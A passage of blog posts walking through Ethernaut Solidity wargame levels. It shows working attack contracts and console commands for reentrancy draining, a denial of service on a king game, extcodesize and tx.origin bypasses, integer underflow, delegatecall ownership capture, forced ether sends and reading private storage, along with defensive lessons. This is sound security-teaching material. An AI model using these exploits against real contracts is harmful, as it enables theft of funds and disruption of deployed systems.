Most, importantly, it has a bypassUnlock(uint withGasAmount) which allows us to set the gas value when calling. Thus the only independent variable is withGasAmount.

pragma solidity ^0.6.10;

// the interface of our victim contract
interface IGateKeeper1{
    function enter (bytes8) external returns (bool);
}

contract GateOneBypasser {
    bytes8 key = 0x12345678000007D2; // _gateKey
    IGateKeeper1 GatedContract;

     constructor (address _contract_address) public {
         // the victim's address
         GatedContract = IGateKeeper1(_contract_address);
     }

    // the only independent variable is "withGasAmount"
    function bypassUnlock(uint withGasAmount) public {
        GatedContract.enter{gas: withGasAmount}(key);
    }
}

We will deploy both this and the victim contract to the VM and use the debugger to figure out the amount of gas that will satisfy the second gate.

Once we deployed both contracts. We should run the attack with some amount of gas. The transaction will most likely fail. But we can use the debugger and find the EVM instructions executed at the line:

require(gasleft().mod(8191) == 0);

of the target contract.

Figuring out what is happening in the EVM

Then we will look up for the execution step with the GAS instruction from this line.

17B078C0-DF41-4FFA-BAAF-FB485FC7843A.png

From the Ethereum Yellow paper, you can read that this is instruction will return the amount of available gas (p.35). And place it in the top of the memory stack.

The debugger will show that it then places a value on the top of the memory stack.

For example, in one of the runs when I pass gasAmount = 100000 it placed `000000000000000000000000000000000000000000000000000000000000185a2 which in decimal is 99746.

Here's the hypothesis. The reminder 99746 % 8191 = 1454 is gonna be compared to 0 and that result will either fail or pass gateTwo. Let's design an experiment to test that hypothesis.

We should expect to see a comparison 1454 == 0; in hexadecimal:

COMPARE // some comparison instruction
0x00000000000000000000000000000000000000000000000000000000000005ae // 1454
0x0000000000000000000000000000000000000000000000000000000000000000
>> RES 0 // not equal

If you keep stepping forward you will see the execution of each step up to the EQ instruction at the line we mentioned above.

814B2EB5-E468-4214-AF9E-9967B2076645.png

The EQ instruction performs equality comparisons (yellow paper, p.31). It will compare the first and second items on the memory stack and return the result. 1 if they are equal, and 0 otherwise.

It will also remove two items from the memory stack (the items it compared) and add one item (the result).

The memory stack at this point looks like this:

0: 0x00000000000000000000000000000000000000000000000000000000000005ae 
1: 0x0000000000000000000000000000000000000000000000000000000000000000 
2: 0x0000000000000000000000000000000000000000000000000000000000000000
3: 0x12345678000007d2000000000000000000000000000000000000000000000000

If you step forward once, you will see the new state of the memory stack:

0: 0x0000000000000000000000000000000000000000000000000000000000000000 
1: 0x0000000000000000000000000000000000000000000000000000000000000000
2: 0x12345678000007d2000000000000000000000000000000000000000000000000

Which means that the EQ instruction did in fact compare 1454 == 0 with result 0. As we know from the contract's code that this comparison is gasLeft().mod(8191) == 0. And 1454 in hexadecimal is 0x00000000000000000000000000000000000000000000000000000000000005ae

From there, a few steps later the REVERT opcode is called. Which, as you might expect, means that the execution will halt, and the transaction will get reverted. Which is exactly what we would expect if the remaining gas is indeed not divisible by 8191.

Formulating a hypothesis and testing it out

Therefore, It must be the case that that first value given as input to EQ is the result we are looking for. That is, the reminder of dividing the amount of gas left by 8191.

So we can just substract that value from the withGasAmount input. Then the reminder should be exactly 0.

We would expect that using withGasAmount = 100000 - 1454 = 98546 will successfully bypass gateTwo, if our model is correct. Here are my results:

Results
gasAmount gasLeft() gasLeft().mod(8191) EQ inputs (decimal) EQ output
98543 98290 8188 (8188,0) 0
98544 98290 8189 (8189,0) 0
98545 98291 8190 (8190,0) 0
98546 98292 0 (0,0) 1
98547 98293 1 (1,0) 0
98548 98294 2 (2,0) 0
98548 98295 3 (3,0) 0

You get the idea. It follows the usual modular arithmetic (modulo 8191). And where the remainder is 0, the result of EQ should be true.

So let's try that out for real!

I did learn how to set the value of withGasAmount. I'll try this solution out with the Rinkeby network and see what happens.

Trying it out on Rinkeby

The main difference is that the Ethernaut will deploy the victim contract for me. And I will use my ethereum wallet to generate the _gateKey.

I'll deploy the contract with the instance address that the Ethernaut gives me, and will send a transaction to bypassUnlock() with 10,000 for withGasAmount

The transaction as expected fails. So, for the sake of confirmation lets's open the debugger. We won't be able to see the exact instructions, as the other contract is living on the live blockchain.

But I took care of taking note of the execution step of the GAS instruction. It was execution step 74. That means that on execution step 75 the top item of the memory stack should be the amount of gas left. From there, it won't be too hard to locate where the EQ instruction that does the comparison happens.

3B3D5892-F3B1-40D7-AA0E-0E30441C6197.png

What do you think? I got the following values:

gasLeft: 0x2612 // 9746 in decimal!!!
gasLeft.mod(8191): 1555

Which is exactly what I expected. Therefore using withGasAmount = 10,000 - 1555 = 8445 should make the transaction succed.

However, before we solve the challenge...

Note that when we tried withGasAmount = 100,000 on the JavaScriptVM (previous header), and when we tried withGasAmount = 10,000 just now, we got the same amount of gas utilization.

Here, I am comparing gasAmount - gasLeft : $$ 10000 - 9746 = 254 = 100000 - 99746 $$ This means that both the JavaScriptVM and the rinkeby network are using the same amount of gas per instruction. This is not a given though!

But in this particular case we have empirical confirmation that they do. Both cases use exactly 254 gas.

So...

As the EVM is deterministic, I am willing to bet that if I input 98546 (the amount of gas that worked on the JavaScriptVM) it will work on the rinkeby network.

8F9B699A-274A-4C43-9BE9-CC13A7969654.png

Isn't that just gorgeous? Lets submit the solution.

760C1BDE-780E-4775-B0BC-90B4ED3D57C9.png

Maths baby! :D

14th Challenge: Gatekeeper Two

This challenge is similar to the previous one, but involves more advanced concepts. Although it is significantly easier :D

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

First we will bypass gateOne by the same method as before. That is, calling enter() indirectly from another contract. But, as you will see, given gateTwo it seems impossible to do so. gateTwo will fail if we call enter() from a contract. And gateOne will fail if we don't.

How is this challenge solveable then?

Let's examine it more closely.

Understanding the problem: Assembly and the size of caller()

gateTwo involves assembly. This means that at that point the contract is not using solidity. Instead it allows you to write an intermediate language called Yul.

In Yul's default dialect you can call EVM opcodes as functions. So let's read some of the documentation and interpret the lines:

uint x;
assembly { x := extcodesize(caller()) };
require (x == 0);

First, the assembly {...} part is called inline assembly, and is a feature of solidity. It allows you to write in a lower-level language. In case you want to access give EVM instructions directly. So you can have very fine-grained control over your program.

As you may expect, it bypasses a ton of safety features of solidity. So you should use it with caution!

Inline assembly can access local variables by their name. All variables in Yul are 256-bit "words" that the EVM uses natively, so there is not really any distinction of types inside it.

In the EVM everything eventually boils down to 256-bit chunks of data. Most of the types in solidity are higher level conveniences! You can read about how the EVM handles its stack) if you want to learn more!

But as x is of type uint, it is by default a 256-bit unsigned integer. So there wont be any problem with Yul modifying it by assigning it with the := operator.

extcodesize(a) gets the size of the code at any given address a. A wallet address will return 0 as expected, but any contract will necessarily return something bigger than that!

In this case the address is returned by caller(). Which returns the call sender. But you can see something weird here. To pass this gate it is necessary that the size of caller() is 0. But, by gateOne it is also necessary that the caller is a contract! 

 modifier gateOne() {
    // The caller must be a contract!
    require(msg.sender != tx.origin); 
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) } 
    // The caller must NOT be a contract!
    require(x == 0);
    _;
  }

How is that even possible?

A wallet address might fulfill this requirement, so gateTwo may be intended to disallow contracts from passing, allowing only user wallets.

But of course, we can exploit this and have a contract pass this gate. We must, because of gateOne which will not pass it we call enter() from an user address.

We will have to figure out a way to make the vulnerable contract think that our contract code has size zero!

Which it obviously doesn't!

Exploiting extcodesize()

Now that we understand the seemingly impossible problem, let's dive into the exploit!

Chapter 7 of the Ethereum Yellow Paper describes the details of contract creation. Subsection 7.1 mentions some subtleties:

(...) while the initialisation code is executing, the newly created address exists but with no intrinsic body code (...) during initialization code execution EXTCODESIZE on the address should return zero, which is the length of the code of the account, while CODESIZE should return the length of the initialization code.(p.11)

So the EVM instruction EXTCODESIZE, which in Yul is extcodesize(a), will return 0 for both a wallet address AND a contract while it is being initialized.

So, from this, the answer should be super obvious. Just call the external function during our contract's constructor!

// Bypass extcodesize() example.
contract Bypasser {

    constructor (address _victim) {
        _victim.vulnerableFunction() //extcodesize == 0
    }

    function try (address _victim) {
        _victim.vulnerableFunction() //extcodesize != 0
    }

}

As dumb as it might sound, that's how it is supposed to work. I you want to secure a contract, you could try using a combination of EXTCODESIZE and CODESIZE

So that is the way we are gonna bypass both gateOne and gateTwo at the same time!

The final part is the key we need to pass to enter(). So let's solve that next.

gateThree and more math

Here's the part we will bypass

modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

Let's abstract away some of the clutter and note that the comparison has the following form: $$ a \circ b = c $$ Where \(\circ\) is the bitwise XOR operator. Writen as ^ in solidity. The way I will solve this is by finding an equivalent equation that makes it easy to compute _gateKey inside my contract.

The XOR operator forms an abelian group along with the set of n-sized bit strings. Check this article about group theory, XOR and binary codes if you want to learn more. For the time being we are interested in a couple of properties of this specific group:

Consider the group with \( \circ\). And suppose \(x\) and \(y\), \(z\) are n-sized bit-strings. Then:

  1. \((x \circ y) \circ z = x \circ y \circ z = x \circ (y \circ z)\) the operation is associative
  2. \(x \circ y = z = y \circ x\) the operation is commutative
  3. \(x\circ x = 0\) every element has an inverse (ie. here \(x\) is its own inverse)
  4. \(x \circ 0 = x = 0 \circ x\) there is an identity element \(0\)

In fact, the general version of these properties are the definition of abelian groups (also called commutative groups). A proof that a set with some operation is a group requires showing that they satisfy these properties. Check the link above for the proof!

We can then use those properties to perform algebraic reasoning about the equation at hand.

Armed with this knowledge lets define:

  • \(a\) = uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
  • \(b\) = uint64(_gateKey)
  • \(c\) = uint64(-1) = uint64(0) - 1

Since we are working in the context of bit strings, we don't really care about the type conversions (also, 8bytes is the same size as 64bits). The only important thing to keep in mind is that everything is treated as a 64-bit string.

Then, we can do some algebra with \(a \circ b = c\) using the properties the underlying group has:

\begin{align} a \circ b &= c \\ a \circ b \circ (b \circ c) &= c \circ (b \circ c) \\ a \circ (b \circ b) \circ c &= c \circ (c \circ b) \\ a \circ (b \circ b) \circ c &= (c \circ c)\circ b \\ a \circ 0 \circ c &= 0\circ b \\ a \circ c &= b \\ \end{align}

Can you say which properties I used on each step?

Therefore the _gateKey (\(b\) in the equations) can be computed as follows from our contract. 

uint64 gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(-1)

Note that keccak256 is taking a 20-byte address and will return a bytes32 hash, but as we are casting it as a bytes8 it should work just fine.

We just need to compute this inside our contract's constructor. And send it along with the transaction. This way we will bypass all three gates!

Let's finally write the contract!

Writing the contract and running the exploit

We will combine all three strategies for bypassing the three gates into a single contract.

pragma solidity ^0.6.10;

interface IGateKeeper {
    function enter(bytes8) external returns (bool);
}



contract Bypasser {
    // running everything in the constructor guarantees that extcodesize ==0
    constructor (address _victim) public {
        IGateKeeper gk2 = IGateKeeper(_victim);
        // compute the key
        uint64 computedKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(-1);
        // calling from a contract guarantees that msg.sender != tx.origin
        gk2.enter(bytes8(computedKey));
    }

}

The exploit will run just once when it is deployed. Let's quickly write and compile the contract in Remix and deploy it with the instace address that the Ethernaut will give us. That address is the address of the contract that we will exploit

8A4022AD-A74C-4B25-A0EC-479DC5DDCC67.png

Then let's submit the challenge in the Ethernaut and wait for the transaction to execute. The Ethernaut console will let us know if we were successful

40B24F40-E931-47CE-9E5B-061C63A3C8F0.png

Success! We successfully exploited the contract, bypassing the seemingly impossible gates.

Epilogue.

Pat yourself on the back! This was quite a lot!

This one was quite dense. But with just a bit of patience It is very manageable.

Regarding the 13th challege (gatekeeper One), I have seen solutions on the internet that involve brute forcing the solution. But brute force may not always be possible. I am willing to bet, it is often not.

If you are securing a smart contract you really should take care of making it non brute-forceable anyways.

The alternative path, of figuring out what is happening on the EVM, is more involved. But well worth the effort. At least for me, it really helped me get comfortable with how Ethereum works.

It even forced me to read a big chunk of the Ethereum Yellow Paper!

Hopefully this was insightful or at least entertaining to read :D

...

I am currently looking for a job. Feel free to contact me if you need someone that can figure stuff out.

Or just to say hi!

I am mostly active on twitter. So maybe follow me there?

]]><![CDATA[Ethernaut: accessing private data, denial of service, reentrancy attacks and dishonest contracts.]]>https://blog.jrlgs.dev/ethernaut-accessing-private-data-denial-of-service-reentrancy-attacks-and-dishonest-contractshttps://blog.jrlgs.dev/ethernaut-accessing-private-data-denial-of-service-reentrancy-attacks-and-dishonest-contractsSun, 08 May 2022 14:11:49 GMTLet's get straight to it. The vulnerabilities exploited on this installment are not trivial and can be particularly malicious. Specially the reentrancy attack at #10.

8th Challenge: Vault - accessing private data

We will need to unlock the following vault to pass this level.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

If you check solidity's documentation you will realize that the private modifier only means that other contracts cannot read the variable. But everything in the blockchain is public and accessible if you are clever enough.

The EVM lays out the storage of a smart contract in a table of \(2^{256}\) slots, each of 32 bytes. Stored sequentially in the order they are declared. And any values of size smaller than 32 bytes will be stored together in the same slot as long as they are sequential and they fit completely in 32 bytes.

DEB9D4B6-34F8-4948-A929-BAEAE4FCF0E5.png

Let's start by reverse-engineering the storage layout of the Vault contract.

In Vault's storage, slot 0 is occupied by bool locked. Which occupies only 1 byte (that wasn't a typo. Solidity uses one whole byte for bool). Therefore bytes32 password does not fit in that same slot, so it must be stored in slot 1.

Thus, to solve the challenge we will need to retrieve the storage, trim down the first slot and read the 32 bytes stored in the second slot. Then we will use that as input to call unlock() which is a public function.

We will use the console for this. Once we get the address of the contract, we use web3.js to call

await web3.eth.getStorageAt(<address>, 1)

Which will return whatever is stored in bytes32 private password. Then we can convert it to a string. If we want to read the very secure password.

web3.utils.toAscii(<bytes32-password>)

Finally we will call unlock() on the contract.

await contract.unlock(<bytes32-password>)

Unlocking the contract.

Screen Shot 2022-05-07 at 19.47.48.png

9th Challenge: King - denial of service

Consider the following game. Whoever sends an amount of ether larger than the current price will become the new king. The overthrown king will receive that ether, making a small profit. For this challenge we have to break this contract so that no one can claim kingship. 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

We cannot break the contract by tampering with the price, as the owner can always satisfy the require().

But note that the eth transfer is performed before changing to the new king. If we can somehow set up a new king that will make king.transfer(msg.value) fail, then we will make it impossible to ever set a new king. As any call to receive() will always fail before setting up a new king!

pragma solidity ^0.6.0;

contract PoisonedKing {
    address victim = 0x6084ECc869ae439610a5c461b2c021db0c70A88E;
    function poison() public payable {
        //this contract has no eth, so we cannot use address.transfer()
        (bool success, ) = payable(victim).call.value(msg.value)("");
        require(success, "call failed!");
    }

    receive () external payable {
        require(false, "hehehe no way >:)");
    }

}

In order to perform the attack, we first consult the current price. Something like this will do.

const price = await web3.eth.getStorageAt(<KingAddress>, 1) // price is in slot 1
const priceInWei = web3.utils.hexToNumber(price)

In my case the price is 0.001 ether(the first time it is deployed). So I just need to send more than that. And then deploy the attack contract and call poison() with value set higher than the current price. This will set PoisonedKing as the new King, and break the contract.

Screen Shot 2022-05-07 at 21.03.30.png

Finally, we verify that the solution is accepted

Screen Shot 2022-05-07 at 21.02.56.png

This one was quite hard and I spent a lot of time figuring it out. One of the things to note is that using transfer() will always fail, as it has a gas limit. So we have to use the low-level call().

10th Challenge: Re-entrancy - reentrancy attack

Here the goal is to steal all the funds from this contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

If you know about the infamous DAO hack, then you should immediately see the vulnerability in this one.

Note that on withdraw() the contract is sending the funds by calling the fallback in the receiving address. And THEN adjusting the address's balance.

What would happen if the withdrawing address has a fallback that calls withdraw()? It will keeping sending eth, as the balance has not being adjusted! This will keep repeating until there are no more funds in the contract.

B16A8DE5-EB19-489C-9D88-2AAB0FBE0CE9.png

This is the well-known reentrancy attack. And it is particularly nasty.

I will write a contract that does a few things.

  • First, it will "create an account" on the victim contract. By donating an initial balance.
  • Then, it will call the victim contract's withdraw().
  • Finally, the attacker contract's fallback will trigger a function that will keep calling withdraw() as long as the victim has funds. It will end only when it has drained all of them.
pragma solidity ^0.6.10;

interface IVictim {
    function withdraw(uint) external;
    function donate(address) external payable;
}

contract Attack {

    IVictim public victim;
    uint public donatedAmount;

    constructor (address _victimAddress) public {
        victim = IVictim(_victimAddress);
    }

    fallback () external payable {
        uint victimBalance = address(victim).balance;
        bool canWithdraw = victimBalance > 0;

        if (canWithdraw) {
            uint howMuch = donatedAmount < victimBalance ? donatedAmount : victimBalance;
            victim.withdraw(howMuch);
        }
    }

    function attack () public payable {
        require(msg.value >= 0);
        donatedAmount = msg.value;
        victim.donate{value: donatedAmount}(address(this));
        victim.withdraw(donatedAmount);
    }
}

After we deploy the contract with the victims address, we can call attack() with any amount of eth. This will trigger the exploit and drain the victim contract of its eth.

Screen Shot 2022-05-08 at 8.45.52.png

Protecting against reentrancy

This one will merits some more discussion in a post of its own. But in the meantime, you may want to read about the DAO hack, for some historical context. And an explanation on how a reentrancy attack works.

There are at least two ways to protect a contract from reentrancy attacks.

  • By using a noReentrant modifier to lock the contract during the execution. So that any reentrancy fails the transaction. 

    modifier noReentrant {
require(locked == false, "No reentrancy!");
locked = true;
_;
locked = false;
}

    Openzeppelin has a ReentrancyGuard contract with an implementation. And you should use that one.

  • By using the Checks-Effects-Interactions pattern 

    contract Fund {
  /// @dev Mapping of ether shares of the contract.
  mapping(address => uint) shares;
  /// Withdraw your share.
  function withdraw() public {
      uint share = shares[msg.sender]; // first check
      shares[msg.sender] = 0; // then apply the intended changes
      msg.sender.transfer(share); // finally trigger the interactions with the other contract
  }
}

    This way, you can avoid a reentrancy attempt of bypassing the check, as the second time around will fail. Because we set the shares of the sender before potentially triggering the attack.

11th: Elevator - dishonest contracts

Check the following contract. It seems there is no way of setting top to true. Right?

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

But the Elevator contract assumes that any Building will answer Building.isLastFloor() honestly. Of course the building we are gonna write is not honest. Breaking the Elevator contract!

pragma solidity ^0.6.10;

interface IElevator {
    function goTo (uint) external;
}

contract FakeBuilding {
    bool lie = false;
    IElevator elevator;

    constructor (address _elevatorAddress) public {
        elevator = IElevator(_elevatorAddress);
    }

    function isLastFloor(uint _floor) public returns (bool) {
        lie = ! lie;
        return ! lie;
    }

    function honestBuilding() public {
        elevator.goTo(10);
    }   
}

Screen Shot 2022-05-08 at 9.05.46.png

Epilogue.

Here are the lessons about securing smart contracts from this batch:

  • Never store sensitive data on the blockchain. Everything is public one way or another.
  • Never trust your contract's behavior to logic on any other outside contract.
  • Protect your contracts agains reentrancy where needed.
  • Never trust that any outside contract will behave honestly as expected.

Hopefully this is helpful!

Maybe follow me on twitter?

]]><![CDATA[Ethernaut: Phishing tx.origin, Arithmetic Overflow, delegateCall, and forcibly sending Ether.]]>https://blog.jrlgs.dev/ethernaut-phishing-txorigin-arithmetic-overflow-delegatecall-and-forcibly-sending-etherhttps://blog.jrlgs.dev/ethernaut-phishing-txorigin-arithmetic-overflow-delegatecall-and-forcibly-sending-etherSat, 07 May 2022 08:54:53 GMTLet's continue the Ethernaut with challenges 4 through 7. These are quite interesting and point out several of the basic vulnerabilities you should be aware of when writing smart contracts.

:D

4th Challenge: Telephone - tx.origin phishing

The goal is to gain ownership of the contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Notice the changeOwner() function is performing a very rudimentary and naive authorization. Suppose that you call this function directly. Then tx.origin is in fact equal to msg.sender. So no one can call the function and change the owner.

8403E7FC-90A9-4D4E-8C3A-8AE17661C1F3.png

The key is the difference between the two. tx.origin is a global variable that holds the address that initiated the transaction. While msg.sender is the address that called that specific function. Check out solidity docs page about global variables

So the way to hack this is pretty straightforward. Write a new smart contract that forwards your wallet address to the original. Then call the attacking contract from your address.

A932E859-AB91-42DD-8521-7DCD64846030.png

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

...

contract TelephoneAttack {
 Telephone original;
 constructor(address _original) public {
  original = Telephone(_original);
 }

 function pwnTelephone() public {
  original.changeOwner(msg.sender);
 }
}

Once we call pwnTelephone() we can submit the challenge.

Screen Shot 2022-05-06 at 22.56.43.png

You can check out the doc's security considerations about tx.origin to see an example of using a tx.origin phishing attack on a vulnerable contract.

5th Challenge: Token - Arithmetic Underflow

You have to hack the following token contract. And get as much tokens as possible from it. You are given 20 tokens to start with.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

The only thing that stops us from stealing from the contract is the line

require (balances[msg.sender] - _value >= 0)

The type uint means an unsigned integer of 256 bits. Which can and will underflow or overflow. If the result of some arithmetic operation exceeds it's maximum or minimum possible values.

Consider 20 - value where value = 21. Then, under the normal arithmetic, the result would be -1. But in 256bit arithmetic the result is \(2^{256} - 1\)

Check the following example with 8bit unsigned integer arithmetic:

F217BEE4-C71C-436B-A6FD-24405EE0F087.png

Therefore, by calling transfer(<someAdress>, 21) on the smart contract, we will end up with an enormous amount of tokens!

This kind of attack is well known and contracts almost always use solutions like SafeMath.sol to protect themselves form overflow attacks. Starting from solidity 0.8, the arithmetic operations in integers are safe by default.

Hacking this one is pretty simple. In the console, I can type:

await contract.transfer(level, 21)

level is a reference to the level's contract address. Ethernaut exposes it for convenience. It doesn't matter. As long as its different from my address (ie. msg.sender)

What we want is to underflow balances[msg.sender] -= _value. By having it compute 20-21 which in uint256 arithmetic equals 2**256 - 1.

After that, we can check that we effectively hacked the contract by checking our balance and then submit the solution.

Screen Shot 2022-05-06 at 23.16.19.png

By now you get the idea. A flashy message appears on the console once you submit a correct solution.

6th Challenge: Delegation

You have to claim ownership of the Delegation contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

We can execute the pwn() function from the Delegate contract in the context of Delegation. Using <address>.delegatecall(bytes memory) returns (bool, bytes memory). Which allows precisely such behavior.

This can be specially dangerous as a contract can dynamically load code from another contract at runtime. Using the first's storage, address and balance.

D6598345-37B3-4D42-8E16-C7E6E22EA4AA.png

As per the Ethernaut's setup Delegation gets the Delegate contract address when deployed.

The only thing we need to do is send a transaction with msg.data set to "pwn()" (encoded) to trigger the fallback from Delegation the function that we want to run from Delegate. Note that Delegate also has an owner state variable. This is necessary as the delegate must have the same variables. As delegatecall does not match variable names but rather matches state variable layout.

If you want to learn more, you may want to read about the proxy upgrade pattern. It uses delegatecall to allow for "upgrading" of smart contracts. One of the problems you can run into when using this pattern is storage collision

We want to claim ownership ourselves, so we cannot write a smart contract to trigger the fallback for us (we want msg.sender to be our own address). So we need to send the transaction from the console:

await contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature("pwn()")})

We are using web3.js to encode the signature and the truffle contract abstraction that Ethernaut exposes for us.

We can then check that we gained ownership:

await contract.owner() == player
>> true

Screen Shot 2022-05-07 at 3.44.36.png

7th Challenge: Force

The following contract cannot accept any Eth. So, naturally, the challenge is to make the balance of the contract greater than zero.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

There are three general ways to send eth to a contract. First, if the contract has any payable function, calling it with some ether will achieve the transfer.

The other two are exploits. When a second contract with some ether selfdestructs it will send its ether to a "beneficiary" contract. Without triggering any function nor the fallback. So the beneficiary will receive the ether. Regardless of whether it is payable or not.

The third way is finding a way of pre-computing the target contract's address before it is deployed (as addresses are deterministic). And sending some eth to such address. When the contract is deployed it will have some ether. Surprisingly that works!

We will use the second option. And write a new contract. Seed it with some eth, and calling self-destruct on it, with the target contract as beneficiary.

pragma solidity ^0.6.0;

contract ForceEther {
    address target;
    constructor (address _target) public {
        target = _target;
    }

    function force() public payable {
        selfdestruct(payable(target));
    }
}

When force() is called with some ether, the contract will self-destruct and force-send the ether to the target contract. Completing the challenge.

Screen Shot 2022-05-07 at 2.54.28.png

Epilogue.

Here are some of the lessons from these challenges.

  • Do not use tx.origin for authorization. A phishing contract may ask you to sign a transaction to a vulnerable contract. Setting up the attack.
  • Always make sure that integers cannot under or over flow. Use SafeMath.sol or solidity 0.8.0
  • Never delegatecall from a contract you do not trust. As you will modify your own contract's state variables with some outside functions that may (and probably will) be malicious.
  • Never assume your contract is safe from forcefully receiving ether. Even if you revert your fallback. If some of your logic depends on address(this).balance someone can really mess up your contract by forcefully sending ether.

You can check out this Comprehensive list of known attack vectors and common anti-patterns on sigmaprime's blog.

Hopefully you found this interesting!

Maybe follow me on twitter?

]]><![CDATA[Ethernaut: Fallback, Fallout and winning a random game by predicting the future!]]>https://blog.jrlgs.dev/ethernaut-fallback-fallout-and-winning-a-random-game-by-predicting-the-futurehttps://blog.jrlgs.dev/ethernaut-fallback-fallout-and-winning-a-random-game-by-predicting-the-futureFri, 06 May 2022 02:26:11 GMTIn the past few days I've been playing around with solidity and decided to try out the Ethernaut challenge. And will share my solutions and thought process here.

If you want to try the Ethernaut yourself, you should attempt the challenges before continuing reading.

In this posts we will work through the first 3 exercises. I will assume you already know the basics of solidity as well as how to call smart contract functions.

1st Challenge: Fallback.

The goal of the challenge is to claim ownership of this contract and drain it of its funds. 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

The Intended way to claim ownership is to send eth to the contract by calling the contribute() function. But this function requires sending less than 0.001 eth per call. We would need to call the function 100 times in order to contribute just 1 eth.

And to claim ownership we need to beat the original owner's 1000 eth. So 100,000 calls would be needed. That's not happening.

But the contract authors were kind enough to add the receive() part. Note the absence of the function keyword. This means it is a fallback. And it is payable.

If you send any value greater than 0 and you already have some contribution, you can claim ownership.

A fallback is the function that gets called by default if a non-existent function is called on the contract. Or if ether is sent directly to the contract. Perhaps the author of the contract wanted to cheat their way into recovering ownership if they where beaten.

So, the way of attacking is quite straight forward:

  1. Call contribute() once with a minimal amount of eth. This will allow you to call the fallback
  2. Call the fallback with any amount of eth. This will make you the owner
  3. Once you are the owner, call withdraw().

contract is the reference to the deployed smart contract. The Ethernaut exposes a contract object which is a Truffle contract abstraction. We can call the smart contracts methods from it.

The initial contribution may look like this.

await contract.contribute({value: toWei("0.0001")})

Then send a transaction with some eth. This will trigger the fallback

await contract.sendTransaction({value: toWei("0.0001")})

That should give me ownership. If so, then I can call the withdraw() function. And retrieve all the ether from the contract.

await contract.withdraw()

When you complete the challenge, you should see this on the console.

Screen Shot 2022-05-05 at 16.36.31.png

2nd Challenge: Fallout

The second challenge is not so obvious. You have to claim ownership of this contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
